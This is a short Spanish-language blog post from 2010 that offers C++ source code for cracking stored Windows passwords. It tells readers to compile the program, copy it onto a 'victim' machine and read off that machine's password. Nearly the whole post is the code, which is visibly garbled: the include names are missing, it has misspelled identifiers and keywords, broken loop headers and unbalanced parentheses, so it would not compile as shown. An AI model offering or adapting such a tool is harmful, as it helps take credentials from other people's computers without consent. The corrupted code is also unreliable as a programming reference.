miércoles, 6 de octubre de 2010

Password

Saludos Mundo Libre

He aqui un Programa escrito en c++ para desencriptar password de windows hay que compilarlo y sacar el ejecutable despues copiarlo en la maquina victina y listo tenemos el password de la maquina saludos.

codigo:

#include
#include
#include
#include
#include
#include

unsigned char huge data [100001];
unsigned char keystream [1001];
int Rpoint[300];

void main (int argc,char *argv[]) {
FILE *fd;
int i,j,k;
int siza;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300];

if (argc<2) {
printf ("usage: glide filename (username)");
exit (1);
}
fd=fopen(argv[1],"rb");
if(fd==NULL) {
printf("cant open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd) {
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

name=agrv[1];
if(argc>2) name=agrv[2];
printf("Username: %s\n",name);

cracked=size-0x02008;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(Keystream,Data+0x208,cracked);

for(i=0;<20;i++) {
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
Keystream[i]^=ch;
};
cracked=20;

sizemask=Keystream[0]+(Keystream[1]<<8);
printf("Sizemask: %04X\n",sizemask);

fot(i=0;i<256;i++) Rall[1]=0;

maxr=0;
for(i=0x108;i<0x208;i++) {
if(Data[1]!=0xff) {
Rall[Data[1]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
maxr=((maxr/16)+1)*16);
Rpoint[0]=0x0208+2*maxr+20+2;
for(i=0;ipos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);
if(Rall[i]==0) && (rzs!=0) ) {
printf("unused resource has nonzero size !!!\n");
printf("If last line produce any : you many try to recover\n");
ch=getch();
if(ch!='y') exit(0);
rsz=2
i-=1;
}
pos+=rsz;
if(iwhile(Data[pos+3]!=Keystream[1]) {
printf(".",Data[pos+3]);
pos+=2;
}
}
pos+=2;
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
for(i=0;i <=maxr;i++) {
Keystream[20+2*i]^=Rpoint[i] & 0x00ff;
Keystream[21+2*1]^=(Rpoint[i] >> 8) & 0x00ff;
}
cracked+maxr*2+2;
printf("%d byte of Keystream recoverd\n",cracked);
for(i=0;i< maxr;i++) {
rsz-Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;
printf("Recource[%d] (%d)\n",i,rsz);
for(j=0;jprintf("\n");
}
exit(0);
}

Saludos Mundo Libre

No hay comentarios:

Publicar un comentario